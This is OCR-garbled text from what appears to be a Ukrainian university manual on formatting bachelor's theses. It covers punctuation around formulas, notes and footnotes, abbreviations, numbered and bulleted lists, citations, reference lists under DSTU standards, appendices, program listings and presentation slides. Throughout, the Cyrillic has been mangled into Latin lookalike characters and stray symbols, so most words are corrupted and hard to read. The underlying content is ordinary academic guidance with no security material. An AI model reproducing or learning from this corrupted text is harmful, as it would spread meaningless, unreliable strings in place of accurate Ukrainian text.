MK CYMIP)KHUMU BEPIIMHAMHU, SIKI HAJEKaTh HAWKOPOTIIOMY HUISIXY MK HUMH.

Puc. 5. llpuknan opopmueHus: hopmynu

3aranbHe MPaBWIO MYHKTYyaIlii B TEKCTI 3 GpopMynamu Take: GpopMyrna BXOIUTh
JI0 pEYEHHS K HOTO PiBHOIPABHUH eJ1eMeHT. TomMy B KiHII (OpMYIT 1 B TEKCTI TIepen
HUMH PO3/17I0B1 3HAKHU CTABJIATh BIJIMOBIIHO J0 MPABUJI MTyHKTYAITii.

JIBokpanky mepen (opMyIlIol0 CTaBiIATh JIMINE Y BHUIAAKAX, IepeadadyeHux
MpaBWJIAMHU ITyHKTYAIIii:
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a) y TeKcTi nepes GopMysioro € y3arajJibHIOIUE CIIOBO;

0) 1bOro BUMAarae rnody10Ba TeKCTy, 10 nepeaye GopMyIIi.

PozninoBumu 3Hakamu Mik (opmynamu, KOTpl MIyThb OJIHA MiJl OJHOIO 1 HE
BIJIOKPEMJIEHI TEKCTOM, MOXKYTh OyTH KOoMa a00 Kpamka 3 KOMOK 0e3nocepe/Hbo 3a
dbopmyitoro 10 ii Homepa.

[Ticnst Takux TPOMI3AKUX MATEeMaTHMUYHUX BUPA3iB, K BU3HAYHUKK 1 MaTpPHIII,
MOJKHA PO3JILIOBI 3HAKU HE CTABUTH.

6.6. IIpuMiTKH Ta BHHOCKH

IIpumiTka — 11€ KOPOTKMIA 3amuc, 10 CIAYTY€e TMOSCHEHHSIM 10 TEKCTY, TaOIuIl
abo imroctparii. Po3mintyrore mpumiTKy 3 ab3aiy 0e3mocepeqHBO MiCs TEeKCTY,
TAOJIAII YU UTFOCTpAIllii, TOYNHAIOTH 3 BEJIHMKOI JIITEPH Ta HYMEPYIOTh ITOCHIIOBHO B
MeXKax OJHi€l CTOPIHKHU. SIKIIO MPUMITOK HA OJHOMY apKyli KiJIbKa, TO MICJIs CIOBA
«IIpUMITKW» CTaBIATH TBOKPAIKY, HATPUKIIAI:

[TpumiTkmu:

1. ..

2. ...

Sxmo € omHa mpuMiTKa, TO ii HE HYMeEpyrOTh 1 micis cioBa «lIpumiTka»
CTaBJIATH KPAIIKY.

Tabmms 2
Ha0opu 1aHuX, BHUKOPUCTOBYBAHI U1 PO3APYKIBKH
[Ipn3nauenns Cranpmapthe iM's | BukopuctoByBane
oOJTagHaHHS
Jlis iHpopMaIiiHOT PO3APYKiIBKH SSSSSSSY | ipykyBanbHuii npuctpiii 2
JIutst pO3APYKIBKH ITiJT Yac PPPPPPPP | JIpyKyBaibHuii ipucTpii 2
BUKOHAHHSI IPOrPaMHU

[pumiTku:

1. Im's SSSSSSS noBuHHe OyTH 3ahaHe MpPU HACTPOIOBAHHI OMEpALIMHOI
CHCTEMU.

2. Jlnsg 3MEHIIeHHsS MPOCTOIB IIEHTPAIBHOTO TMpollecopa dYepe3 omeparii
BBEJICHHSI-BUBOY MOK€ OyTH BUKOPUCTAHUM 30BHIIIHIA TPUCTPIH.

BuHocku — 11€ TaKOX MOSICHEHHS 10 OKPEMUX JAHUX Y TEKCTi a00 B TaOIMLIAX.

BunHOCKM pO3MINIYIOTh MiA TEKCTOM 1 MO3HAYAIOTh apaOChKUMU Ludpamwu,
HYMEpPYIOUM Ha KOXXHIM CTOpIHLI OKpemo. JI03BOJEHO Ha OAHIM CTOPIHLI TEKCTY
3aCTOCOBYBATH HE OUIbLIE, HI)K YOTUPU BUHOCKH.

3HaKu BUHOCKH IPOCTABISIOTH O€3MOCepeHbO MiCis CJIOBAa, YUCIA, CUMBOIY,
pEUEHHS, JI0 SKOTO Jal0Th MOSCHEHHS, Ta TIEPE/ TEKCTOM TOSCHEHHS.

Ile#t camuii 3HaK CTaBIATH 1 MEpe]l MOSCHIOBATLHUM TeKCTOM. [losicHIOBambHMIA
TEKCT BUHOCKH MHIIYTh 3 03aIIHOTO BIICTYITy 32 HACTYITHUMH MPABUIIAMHU:

1. YV TekcTi 3anmuCKU: y KIHII CTOPIHKH, Ha SIK1 3a3HAYE€HO BUHOCKY.

2. 'V talbnuii: i OCHOBHOK YaCTHHOKO TaOJIHMIN, aje B il MexKax.
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BUHOCKY BiJOKpEMIIIOIOTH BiJl OCHOBHOTO TEKCTy 4YH TaOJUIli TOHKOIO
TOPH30HTAJIBHOO JTiHIE0 3aBI0BXKKH Big 30 MM 10 40 MM , 3 BupiBHIOBaHHAM «Ilo
JTiBOMY Kpato». TeKcT BUHOCKH IpyKyIoTh mpudtom 12 po3mipy, 3 oguHapauM (1 11T)
MDKPSIKOBHM 1HTEPBAJIOM.

[Mpuknag wwmratm B TekcTi: «HamioHanpHWI TIpHUYUN YHIBEPCUTET —
HalcTapilmii BUIIUK HaBYaIGHMI 3aKJIa/] MpHUYOro mpodiso B YKpaini'».

Biamnosigae moganHs BUHOCKU:

' 3acHoBanwmit y 1899 pomi sixk KareprHOocTaBchke BUINE TipHUYE YIUIIUIIIE.

6.7. CkopouyeHHst

CxopoYeHHs CIiB y TEKCT1 Ta HaIllKMCax IiJi UTIOCTPAIlisIMU HE JI0ITyCKalOThCs, 3a
BUHSTKOM:

— cKopoueHsb, BctaHoBieHux B JICTY 3582:2013, 1 3aranpHONpUNHATUX B
BUKOPHUCTAaHI MOBI;

— CKOpOYEHb, L0 3aCTOCOBYIOTHCS JUIsl MO3HAYEHHS IPOrpaM, iX YacTUH Ta
pPEXUMIB pOOOTH, B MOBaxX YIIPaBIiHHS 3aBJaHHAMH, B 3ac00axX HACTPONKH IpOTrpamMu
1 T.I., 1MO3HAYar0ThCSI OYKBaMH JIaTHHCHKOTO andaBiTy.

He no3BomsieTbcs HaBOAUTH CKOPOUYEHI MMO3HAYEHHS (DI3SMUHUX BEIUYMH, SKIIO
BOHU BXXHMBAIOTHCS 0€3 (P, 32 BUHSITKOM iX HABEJCHHS B TAOIMIISIX.

SIKIo B JOKYMEHTI TpHHATa 0COOJMBa cHCTEMa CKOpPOUYEHHS CJiB abo
HallMeHyBaHb, TO B HbOMY TOBHHEH OYTH HaBEeJICHUU Teperik MNPUUHATUX
ckopoyenb. I[lepenmiku CKOpoYeHb Ta YMOBHUX MO3HAK CIliJl PO3TallOBYBaTU
croBmieM 3a aberkoro Ha okpemomy apkymni «[IEPEJIIK  YMOBHUX
[TO3HAYEHbD». JliBopyu B a0€TKOBOMY MOPAIKY HABOASITH CKOPOUEHHS a00 YMOBHI
MO3HAKH CIOYATKy YKPaiHCHKOIO MOBOIO, a TIOTIM IHIIMMH MOBaMH (3a HasiBHOCTI), a

paBoOpyd — iX pO3MHPPYBaHHS.
[puknan opopmiieHHs NEepeniKy yMOBHUX ITOCHIIaHb 3a3HaueHo B JlogaTtky B.

6.8. Ilepejiiku Ta cNUCKHU

Ilepenik — nepepaxyBaHHs IpeAMETIB, 0ci0 1 00'€KTIB, HA K1 MOMUPIOIOTHCA
NIeBHI HOPMHU i BUMOTH.

[lepenik Mo’ke pO3TAlIOBYBATHUCS JIMINE Micisi ad3ally 3BHYAHOIO TEKCTY,
OCTaHHE PEUEHHS B SKOMY 3aKiHUYEThCS ABOKPAIKOIO.

[lepmuii mMyHKT mepeniKy He MOXe OYyTH MEepIIUM pEeueHHSIM Ha CTOPIHII.
[lepenik He MOXke CKIaaaTuCs 3 OJHOTO MyHKTY. KoxxHui ab3a1l meperniky MOBUHEH
PO3MOYMHATHCS 3 MaJloi JITEpHU Ta 3aKIHUyBAaTUCSA KpANKOK 3 KOMOw. OcTaHHE
peUeHHs y MepeiKy TOBUHHO 3aKiHUYyBATHUCS KPAIKOIO.

[lepeniku MoxyTh OyTH HyMmepoBaHi (mepepaxyBaHHS) abo0 HEHyMEpOBaHi.
[Tepen K0XXKHOIO TO3UIIEI0 HYMEPOBAHOTO TEpepaxyBaHHs CTaBUTHCA Majla JITepa
TOTO an(aBiTy, MOBOIO SKOTO HAamWCaHa 3aluCKa, 3 AYXKKOI0. SIKIIO mepeiueHHs
BUKOHYETBCSI 0€3 Hymepallli — TO mepe] KOXKHOI TIO3MINE0 CTaBUThCSA nedic (Ha
NepIIOMY PiBHI AeTam3ariii).

[Ipuknag HyMepOBaHOTO MepepaxyBaHHSI.
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BapianTu Tummy 3a1eXHOCTI MK 3aBJaHHSIMHU MIPOEKTY:

a) SKIIO 3aBAAaHHA 3aJCKUATH BiA ACKIJIBKOX TOINEPEIHUKIB, CIiJ YTOYHHUTH
B3aEMOBIJTHOIICHHS MK HHMH 1 TI0O MOXJIMBOCTI BUAQIATH HAWMEHII CYTTEBI
3aJIEKHOCTI;

0) SKIIO 3aJeKHICTh MK 3aBIAaHHSIMH MOPOHKEHA BUKOPHCTAHHAM 3arajibHUX
pecypciB, TO CIif, IO MOXKJIHBOCTI, YTOUHUTH TEPMIHH 3aCTOCYBAHHS LIUX PECYPCIB i
BUJAIMTH 3B'SI30K MIX 3aBJIJaHHSIMU TI0 4acy.

[Ipuknan HEeHyMEpPOBAHOTO MEPEITIKY.

3BiT 1a00paTOPHOT POOOTH TOBUHEH MICTUTH:

— TUTYJIBHHMM apKylll 3 HOMEpOM J1a00paTopHOi poOOTH Ta i Ha3BOIO;

— YMOBY 3aBJIaHHs Ta JIJaHi CBOT'O BapiaHTa;

— CKpUHIIOTH (pOpM IpH BUKOHAHHI 3aBJ/IaHb;

— CKpHUHIIOTH Pe3yJIbTaTiB OI[IHKH BAPTOCTI POCKTY;

— BHCHOBKH.

Jlns mopmanbinoi getamizalii mepepaxyBaHHS CIiJi BUKOPHUCTOBYBATH apaOChKi
udpu 3 AyKKOI0 (Ha IpyroMy piBHI reTanizaiii).

[Ipy  HEOOXiAHOCTI BUKOPUCTAHHSA 1€papXiuHUX TEpeNikiB  HeoOXiIHO
JOTPUMYBATHCS TUX e MPaBHII 0(hOPMIICHHS, IO 1 U 3BHUAHUX TIepeTiKiB.

Bceboro npumycTiMO BHKOPHUCTOBYBATH TPHU PiBHS BKJIAIEHOCTI mepernikiB. [Ipu
IbOMY, Yy a03a1li KOXXHOTO HACTYITHOTO PiBHS 301IBIIYETHCS PO3MIpP BIJCTYITy a03aIry
3J1iBa, Ta BIACTYII MEPIIOTo psijika - Ha 1, 25 MM y MOPIBHSAHHI 3 MOMIEPEIHIM PiIBHEM.

IIpuxnan:

a) dopma i po3Mip KIITHH;

0) >KWUBHIA BMICT KIIITHH:

1) dYacTuHM KIITHH;
2) HEXWBI BKIIOUYCHHS MPOTOIUIACTIB,;

B) YTBOPCHHS TKAaHUHH.

B sxocTi mapkepa HEHYMEpOBAaHOTO MEPETiKy BUKOPHCTOBYETHCS BHKIIIOYHO
nedic (cumBoa "— " 3 mpudty Symbol).

CoMckM B JIOKYMEHTI BUKOPUCTOBYIOTH [UIsl MIACYMyBaHHs 1HpopMmauii y
TEKCTI, MIABUIIEHHS i1 HAOYHOCTI Ta CUCTEMATH3aIlll JaHHuX.

Crnucok 1 mepenik - ayxe Onu3bKi 3a OPOPMIICHHSM €JIEMEHTH TOKYMEHTY.
Crncok TakoX pO3TalIoOBYBaTHcsA Micias ab3ally 3BUYANHOTO TEKCTY, OCTaHHE
pEUCHHS B SIKOMY 3aKiHUYETHCS JIBOKPAINKO, ajie¢ HE BHUKIIOYCHI ¥ BHUIAJKH, KON
MOTIEPEAHROTO PEUCHHSI HE iCHY€, a00 BOHO € 3aroJIOBKOM (CIHCOK — JOKYMEHT:
CIHCOK BUKOPHUCTAHOI JIiTepaTypy, BUCHOBKH 1 T.1.). KokHUIT ab3a1] CuCKy B yCix
BUIIAJKaX TIOBUHEH PO3IMOYMHATHUCA 3 BEJIMKOI JIITEpH Ta 3aKIHUYBATHCS KPAIKOIO.

[cHyloTh HyMEpOBaHI Ta MapKIpOBaHI CIIMCKH, a TaKOX OaraTopiBHEBI. KO
aBTOp Ma€ TMOCIHIJOBHY iH(opMaIlito, Kpalle BUKIACTH ii Yy BUIJISLAI HyMEpPOBAaHOTO
CHHCKY, KOXEH PSAJOK CIHCKY SKOTO MOBHHEH IMMOYMHATHCA 3 apaOchkol mudpu 3
Kpankor. Hanpuknan:

Jnis  cTBOpeHHS HOBOTO (hopMaTy HYMEpPOBAHOTO CIHCKY CJIiA Yy BiKHI
«Bu3HaueHHsT HOBOTO YHCIIOBOTO (hopMaTy»:

1. BuOpaTu B ciuCKy BUJ HOMepa (YUCIa, JITepHU TOIIO).

2. Sxmo noTpiOHO, BBECTH TEKCT epe HOMEPOM a0o0 Miciisi HbOTO.
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3. Bubpatu cnioci6 BHpiBHIOBAHHS TEKCTY CIIUCKY.

4. TlepernsuyTu 3pa3ok ohOpPMIICHHS.

5. Bubparu kaonky OK.

VY BuIagkax, KOJIW MOCTIJOBHICTh HE € 000B’SI3KOBOIO, MapKIPOBAHHUI CITHMCOK
MOKE BUSBHUTHCS AOUUIbHIIIMM. Hanpuknan:

Micra Ykpainu:

- KuiB - omne 3 HaiOumbmux 1 HalicTapimmx mict €Bporu. Po3ramoBanuii y
cepenniil teuii Jluinpa, B miBHIuHIM Hanmuinpsuuwai. [IpoBigHuil momiTHYHMIA,
COIlIaIbHO-€KOHOMIYHMI Ta HAYKOBHM IIEHTP KpaiHH.

- Opeca - MICTO Ha YOPHOMOPCHKOMY Yy30€pexoki YKpaiHu, HaWOUIbIINI
MOPCBHKHI MOPT B KpaiHi, MICTO 00JIaCHOT0 3HaYeHHsI, HEeHTp OJ1echbKoi 001acTi.

Howmep psiaka (myHKTY, MiJIMTYHKTY) B OaraTopiBHEBOMY CITUCKY CKJIAA€ThCS 3
HOMeEpa MyHKTY 1 MOPSIKOBOrO HOMEpA MiAMYHKTY, MK SIKUMH CTaBISATh Kpanky. B
KiHIll HOMEpa MiAMYyHKTY MOBHHHA CTOATH Kpanka. Ilpu npomy, KOKHHUH ITyHKT
MOYMHATUMEThCS 3 ab3ally, a KOXXeH HOBHHM piBeHb 31 30UIBIICHHAM BIJICTYITY
NepIoro psaaka adsamy Ha 1,25 ¢cM y MopiBHSAHHI 3 monepeAHiM piBHeM. Hanpuxman:

1. HopmaTuBHa yacTuHa:

1.1. OcHOBH TIpOrpaMyBaHHS.
1.2. IIporpamua iHxeHepis.
2. BubGipkoBa yacTuHa:
2.1. 3acobu MynbpTHMEIA.
2.2. IlpakTuka:
2.2.1. HaByanpHa TEXHOJOTIYHA.
2.2.2. IlpoekTHa TEXHOJIOTIYHA.

baraTopiBHEeBHII CIUCOK MOXE TaKOX BKJIIOYaTH B cebe mepernik. B Takomy
BUTIAJKy BUKOPHUCTOBYIOTh 3arajibHi MpaBWIa CKIAQJAaHHS CIHCKYy Ta NEpeNiKy.
Hanpuxknan:

Jlins Toro, moO BkasaTu B cucreMi Microsoft Project BapTicth pecypcy,
HE0OX1/IHO BUKOHATHU HACTYITHI KPOKHU:

1. Binkputu Oyab-skuii 3 [ABOX TIpeacTaBiieHb: «Jluct pecypciB» abo
«BukopucTaHHs pecypciBy» 1 IBiY1 KJIAIHYTH MUIIIEIO B PSAKY pecypcy.

2. YV miamoroBomy BikHI «BimoMocTi mpo pecypc» MeperTH Ha BKIAAKY
«Butpatm».

3. 3a monomororo crucky «HapaxyBaHnHsi BUTpaT» 00paTu METOJA HapaxyBaHHS
BUTpAT. JlaHui CIUCOK MICTUTH TPU MTyHKTH:

- « Ha TOYATKy» - OIUIaTa HA MOMEHT MOYaTKy 3aBJaHHS;

- «MICHIS 3aKIHYEHHS» - OIlaTa Ha MOMEHT 3aKiHYEHHS BHKOHAHHS
3aBJIaHHS;

- «TIPOTIOPIIiHE» - OTIJIaTa MO Mipi BUTpadyaHHs pecypcy.
4. Knarmaytu Ha kuomili OK.

6.9. [Tocunanusa

B xoni nammcanHs poOOTHM CTYACHT TOBHHEH TOCHJIATHCS Ha JDKEpena,
Marepiaau abo OKpeMi pe3yJIbTaTu, iK1 HaBOJAThCS B poOOTi, a00 Ha 1/1ei 1 BUCHOBKH,
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3 SIKMX pO3pOOJIIOIOThCA MpoOsieMu, ab0 3aBJaHHS Ta MUTAHHS, BUBYCHHIO SIKUX
npucBsiueHa poOoTa. Taki MOCHUIAHHS MAAIOTh 3MOTY BIJUIYKATH JOKYMEHTH 1
NEPEeBIPUTH  JOCTOBIPHICTH BIJIOMOCTEM MpPO LUTYBaHHS JOKYMEHTa, JaloTh
HEoOXiHy 1H(GOpPMAIliI0 MIOAO0 HBOTO, JOMOMArarTh 3'ACYyBaTH HOro 3MICT, MOBY
TEKCTY, 00CHT.

[TocunaTtucs cnig Ha ocTaHHl BujaHHs myOmikariii. Ha Oumbln paHHi BUIaHHS
MOJKHA TTOCWJIATHCS JIMIIE B TUX BUMAJKaX, KOJM HAsIBHUN y HHUX MaTepiaj, He
BKJIFOUCHUH JI0 OCTAHHBOTO BUIAHHSI.

JUtss  TiATBEp/UKCHHS BIACHUX AapTryMEHTIB TIOCWJIAHHSIM Ha aBTOPUTETHE
JpKepeno abo Al KPUTUYHOTO aHali3y TOTO YM 1HIIOTO IPYKOBAHOTO TBOPY, CIiX
HaBOIUTH IuTaTH. HaykoBuil eTmkeT moTpedye TOYHO BiATBOPIOBATH ITUTOBAHHMA
TEKCT, 00 HalMEHIIIE CKOPOYCHHS HABEJIEHOTO BUTATY MOXE CHOTBOPUTH 3MICT,
3aKJIaZICHUN aBTOPOM.

3arajibHi BAMOTH JI0 [IUTYBAHHS TaKi:

a) TEKCT IMTAaTH MOYMHAETHCSA 1 3aKIHUYETHCS JIallKaMUd 1 HaBOJIUTHCS B Tid
rpamMaTU4Hii GopMi, B SKii BiH IOJAHUH y JLKEPE, 13 30epeKeHHSIM 0COOIMBOCTEH
aBTOPCHKOro HamucaHHs. HaykoBi Te€pMiHU, 3alpONOHOBAHI IHIIMMH aBTOPaMH, HE
BUIUISIOTHCS JTAaIIKaMH, 32 BUHSTKOM THX, 1[0 BUKJIUKAJHU 3arajbHy MOJIEMIKY. Y LHX
BUIIAJIKaX BUKOPUCTOBYETHCS BUPA3 «TaK 3BAHUN»;

0) T[UTyBaHHS TMOBMHHO OyTH TIOBHUM, 0€3 JOBLIHLHOTO CKOPOYEHHS
aBTOPCBKOTO TEKCTy Ta 0e3 mepeKkpydyeHb AYMOK aBTopa. [Ipomyck ciiB, peycHb,
a03aIiB MpU IUTYBaHHI JOMYCKAEThCS 0€3 TMEepeKpyUYCHHSI aBTOPCHKOIO TEKCTY i
M03HAYAETHCS TPhOMa KpamnkaMu. BoHH CTaBIATBCS y OyIb-SKOMY MicIli IUTaTH (Ha
MOYaTKy, BCEPEIMHI, HAMPUKIHIN). SIKIIO Mepes] BUIMYIICHUM TEKCTOM a00 3a HUM
CTOSIB PO3/IJIOBUI 3HAK, TO BiH HE 30epiracTbes;

B) KOXHa [IUTaTa 00OB'SI3KOBO CYNPOBOJIKYETHCS TOCUIIAHHSAM Ha JDKEPEo;

I) IpU HepsSIMOMY IUTYBaHHI (IlepeKkasi, BUKIaAi JyMOK iHIIUX aBTOPiB CBOITMH
CJIOBaMHM), MO Ja€ 3HAUYHY EKOHOMIIO TEKCTy, CJiJf OyTH TpaHUYHO TOYHUM Y
BUKJIQJICHHI JAYMOK aBTOpa, KOPEKTHHM IIOAO OIIIHIOBaHHS HOTO pe3ynbTaTiB i
JaBaTH BIATIOBIAHI IOCHIJIAHHS HA JKEPEIIO;

1) SKIIO HEOOX1THO BUSBHUTH CTaBICHHS aBTOpa POOOTH JIO OKPEMHUX CIiB a0o
JYMOK 3 IIMTOBAHOTO TEKCTY, TO MICIS HUX Y KPYTIIMX AYXKKaX CTaBJISTh 3HAK OKIIUKY
a0o0 3HaK MUTAHHSL.

[Ipy mnocuimaHHSX Ha BIANOBIAHE JHKEPEIO HEOOXIAHO TIPOCTABIATH Yy
KBaJIpaTHUX AYyXKaxX HOTo MOPSIKOBUI HOMEP BIAMOBITHO A0 MEPETIKY MOCUIIATBHUX
JTIOKYMEHTIB, Hampukiaa: «BupimeHHsM 3amadi momryky TpadidHuX 00’€KTiB 3a
3MICTOM 3aliMalOThCSl BEJHMKI KOpropamii, sIki rOTOBI BKJIAJaTH BEJIHKI TpoIli B
pO3p0OKyY BIAMOBIAHUX 3aCTOCYBaHb [30]».

6.10. CiucoK BUKOPHUCTAHHUX JIZKEPeJt

Crrcok BHUKOPHCTaHHX JDKEpen — eleMeHT OibmiorpadiunHoro amapaTy, L0
MICTUTH 010miorpadiyHi OMMCH BUKOPUCTAHHUX JDKEPET 1 PO3MIMIYETHCS TICIS
BHCHOBKIB.

[Tepenik mxepesr, Ha sKi € TIOCHJIAHHS B OCHOBHIM 4YacTWHI, TOJAIOTh,
MOYMHAIOYN 3 HOBOI CTOPIHKH, KOJKHA HOTO TIO3UINiSl TTOIAETHCS 3 ab3aIy y BUTIISII
HYMEPOBaHOTO CIHUCKY 3 MoixyTopHuM (1,5 mT) MixkpsakoBuM iHTepBasioM. Ixepena
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MOXKHa pO3MINIyBaTH B  aj(aBITHOMY (CHOYaTKy WIyTh JpKepesa, HaJpyKOBaH1
KUPUWIUIIEIO, TIOTIM — JIATUHUIICI0) YU B XPOHOJOTIYHOMY MOPAIKY, a00 B MOPAIKY
NOSIBU MMOCUJIaHb HA HUX Y TEKCTI (HaWOLIbII 3pyYHUN N1 HAYKOBUX POOIT): KOXKHY
TIO3HIIIF0 BHOCATH B TAKOMY BUTIQJIKY Y CITUCOK BiJIIIOBITHO JIO TIEPIIOI 3raJIkk PO Hel
B TEKCTI MOSICHIOBAJIBHOI 3aIUCKU. 3a TaKUX YMOB TOPSAKOBUNH HOMEpP OMHCY €
0/THOYACHO MOCUJIAHHSM Y TEKCTI (11€ TaK 3BaH1 HOMEPHI IMOCUJIAaHHS).

3a HeoOX1AHOCTI JyKepelna, Ha SIKi € MOCUJIaHHS TIIbKU B JIOAATKY, BHOCSTH B
OKPEMHI TTePEITiK, PO3MIIICHHUH MicIs JOJaTKa.

bibmiorpadiuamii onuc mxepen CKIagaloTh BIAMOBIAHO 10 YMHHUX CTAaHAAPTIB 3
610;1i0TeyHO1 Ta BUAABHUYOI CIpaBU, MDKHAPOTHUX 1 JIEPKABHOTO CTaHAAPTIB 3
000B’S3KOBUM HaBEJICHHSIM Ha3B IIpallb. 30KpeMa MOTpiOHY iHdopMaIliio MoKHA
OJIEPXKATH 13 TAKUX MDKIECPKABHUX 1 JCP)KaBHUX CTAHIAPTIB:

— ACTY I'OCT 7.1:2006 «Cuctema cranaapTiB 3 iHpopMmarlii, 010:110Te4HOl Ta
BuJaBHUYOi crnpasu. bibmiorpadiunuit 3anuc. biGmiorpadiunuit onuc. 3aranbHi
BuMoru ta npasuiia ckiaganag (COCT 7.1-2003, IDT)»;

— JACTY 3582-97 «Iudopmanis ta noxkymentaimis. CKOpOYEHHs CIIB B
YKpalHChKIA MOB1 y 010s110rpadiyHOMY onuci. 3araibHi BAMOTH Ta MIPaBUiIay;

— JACTY 7093:2009 «Cucremu cranjpaprtiB 3 iHpopmaiii, 6101i0TeyHoi Ta
BUJaBHUYOI crnpasu. bibGmiorpadiunuit 3amuc. CKOpPOYEHHS CHIB 1 CJIOBOCIOJIYK,
NOJJaHUX 1HO3€MHUMH €BPOIIEHCHKUMHU MOBaMMNY;

— JCTY 8302:2015 «Iundopmaris Ta pokymeHraiis. bibmiorpadiune
MOCHJIaHHS. 3arajbHi BUMOTH Ta MpaBUJia CKIaJaHHsI».

6.11. loxaTku

Jlonatku oopMITIOIOTH K MPOJIOBKEHHSI POOOTH HAa HACTYIMHUX ii CTOpIHKax,
PO3MIIIYIOUM X Yy TOPSAKY TOSIBM IMOCHJIaHb Y TEKCTI poOoTH. SIKIIO J01aTKH
0(OPMITIOIOTh Ha HACTYNMHHUX CTOPIHKaX POOOTH, KOKHMHA TaKuW JOAATOK MOBUHEH
MOYMHATHUCS 3 HOBOI CTOPIHKH. Jl0JaTOK MOBMHEH MAaTH 3arojoOBOK, HaJApPyKOBaHMIA
Bropi BEJIUMKUMH JITEpaMH >KUPHHM IIpUPTOM 13 BUPIBHIOBAHHAM «3a IMpPaBUM
Kpaem» BITHOCHO TEKCTY CTOPIHKH.

JlomaTku ciiij Mo3HAYaTH TOCIII0BHO BETMKAMU JIITEpaMH YKpaiHChKOi abeTKH,
3a BumsitkoM aitep I, €, 3, 1 1, 1, O, U, b.

OnuH 1oaaTOK Mmo3HavyaeThbes sk “Jlomatok A”.

JlojaTky TOBUMHHI MaTH CIHUIBHY 3 PEIITOI0 TEKCTY HACKPI3HY HYyMEpariio
CTOPIHOK.

HaszBa ponmatky ApyKyeThCs TPONMUCHUMH (BEJIIMKUMH) JIITEPAMU KUPHUM
mpudToM Ta pO3MIIILYETHCS 3 BUPIBHIOBAaHHAM «B 1eHTp1».

3a HEOOXiTHOCTI TEKCT JOJATKIB MOXXE MOMIISATHCS Ha PO3IUTH, TiAPO3IiIH,
MYHKTH 1 MAMYHKTH, SIKi CJTiT HyMEpyBaTH B MEXax KOKHOTO JIOJATKY BiAMOBIIHO 10
BUMOT. Y IbOMY pa3i mepen KOKHHUM HOMEPOM CTaBJISATh MO3HAYCHHS JOJATKy
(7miTepy) 1 Kpanky, Hanpukiaa, A.2 — npyruil po3ain nonatky A; b.3.1 — migpozain
3.1 nonatky b; J1.4.1.2 — nynkr 4.1.2 nopatky /.
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Imtoctpanii, Tabnmii, moO € y TEKCTi AOAATKY, CIiA HyMepyBaTH B MexXax
KOXXHOTO J0JAaTKy, HApUKIaa, pucyHok J[.3 — tpetiit pucynok gonatky [, Tabmmis
A.3 — TpeTs Tabimis nogaTky A.

SIKo B JOJATKY OJHA UTIOCTpallis, ogHa TaOmuIld, iX HyMepyIOTh, HAIIPUKIA,
pucynok A.1, Tabmmns A. 1.

VY mocwimaHHSX Yy TEKCTI JOJATKy Ha UTOCTpaiii, TaOJWill PEKOMEHAYETHCS

99 ¢

nucaTH: “...Ha pucyHky A.2...”, “...Ha puc. A.2...”.
6.12. OdopMiIeHHSI TEKCTiB KOMII'FOTEPHUX NPOrpam

TekcTm  KOMITIOTEpHUX  TporpaM,  po3poOJeHHX  TNpd  BUKOHAHHI
KBaidikaiiiHoi po6oTn oGopMIIOIOTh Yy BIAMOBIAHOMY TOAATKy. PexoMeHaoBaHUM
posmip mpudty apyky Bix 10 nt go 12 nr 3 oguHapHUM (1 OT) MIKPAIKOBUM
iHTepBasioM. OOCAT JICTUHTY MPOTrpaMH TOBUHEH cTaHOBUTH 10-25 crtop. Skio
KUTBKICTh CTOPIHOK TIEPEBHIIYE 3aJIaHy, TO MOXKJIMBO PO3MIIIECHHS TEKCTY MPOTpaMu
Ha €JIEKTPOHHOMY HOCI{ 3 BIATIOBIAHUM MOCWJIAHHAM Ha (paiiyiy, 1Mo He BMICTHIINCS B
TEKCT TMOSICHIOBAIBHOT 3aITHCKH.

[Ipu omumci mpouemyp, MOAYNIIB HEOOXITHO BKIIOYATH iX coenudikariro.
Jis naHuxX HEOOXiITHO HABOAWTHU I1X OMHMC Ta MPU3HAYCHHS 1, 32 HEOOXITHOCTI,
OOTpYHTYBaHHS X CTPYKTYPH.

Jisi naHuX, MO0 BHKOPUCTOBYIOTHCS JCKIJIbKOMA MPOTPAMHUMH OJAHHHIISIMH
(mpouerypamMu, MOJYJISMHU), CJ1J] ONUCYBAaTH IX NPHU3HAYEHHA, SKI IPOrpamHi
OJIMHMIII 1 SIK 1X 3MIHIOIOTb 1 IKI BAKOPUCTOBYIOTb.

[lo Texkcty BHKOHABUOi YAaCTHHM IPOrpaMH IOBUHHI OyTHM KOMEHTapi, SKi
OTHCYIOTH 1 TIOSICHIOIOTH aJITOPUTM.

VY Xozi TOKyMEHTYBaHHSI TEKCTY CJIiJl KOPUCTYBATUCS HACTYITHUMU TIPABIIIAMHU:

- KOMEHTapi MOBUHHI JONOMOITH PO3pOOHUKAM y (OpMyBaHHI HaKOPOTILIOTO
TEPMiHY BCTAHOBJICHHS 3HAHb IPO MIPOTPAMY;

- KOMEHTapi MOBWHHI HAJaTH MaKCHMaJbHY JOIOMOTY IHIIOMY IPOTPamicTy
po3i0patucs B arOpuUTMI IPOrpaMHu MpH i CyIpoOBOi;

- HEOOXIJIHO CTEXUTU 3a TOYHICTIO KOMEHTApiB, BOHU MOBHUHHI JOTIOMAaraTu, a
HE BBOJMTHU B OMaHYy;

- MOTaHO TMPOKOMEHTOBaHa Iporpama - 1€ peajbHe 3HWXEHHs sikocti I3, a
HEBUITpaBAaHa HAMIPHICTh KOMEHTAPIiB MOXKE YCKIaJHUTH pOOOTY 3 MPOrpamolo.

[Tpuknan obopMieHHS 10AaTKy 3 TEKCTOM IporpaMu HaBeaeHo B JlomaTky K.

7. Bumoru 10 opopm/ieHHsI pe3eHTalil

3MicT mpe3eHTalii MOBUHEH BiJA3epKaTIOBATH OpUTiIHAIBHI pPE3yNbTaTH, SKi
Oynu OTpUMaHi IpU BUKOHAHHI KBasi(ikaniiHoi poOoTH OakanaBpa Ta JOIIOBHIOBATH
CBOIMHM UTIOCTPAILIISIMU JOTOB1/Ib PO BUKOHAHY POOOTY.

PexomMeH0BaHUM 1HCTPYMEHTOM JUIsl BUKOHAHHS EJICKTPOHHOI IpE3eHTalli €
nonatok Microsoft PowerPoint, are He BHKIIOUEHI W 1HINI pPeCcypcH, SIKIIO BOHU B
ORI Mip1 BIAMOBIIATUMYTH BiJOOpaKEHHIO BUKOHAHOI POOOTH.

CrpykTypa mpe3eHTarlii, BUKoHaHoi B poaatky Microsoft PowerPoint moBunana
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MaTH 3a3HaueHy CTPYKTYPY Ta MiCTUTH Taki 000B’SI3KOB1 ITyHKTH:

1. TutynpHUI cnaiia 3 BIZIOMOCTSIMH IPO aBTOPa, TEMY Ta KEPIBHUKA.

2. O0’€KT QOCIKEHHS, META.

3. IlocTtanoBka 3aBgaHHA.

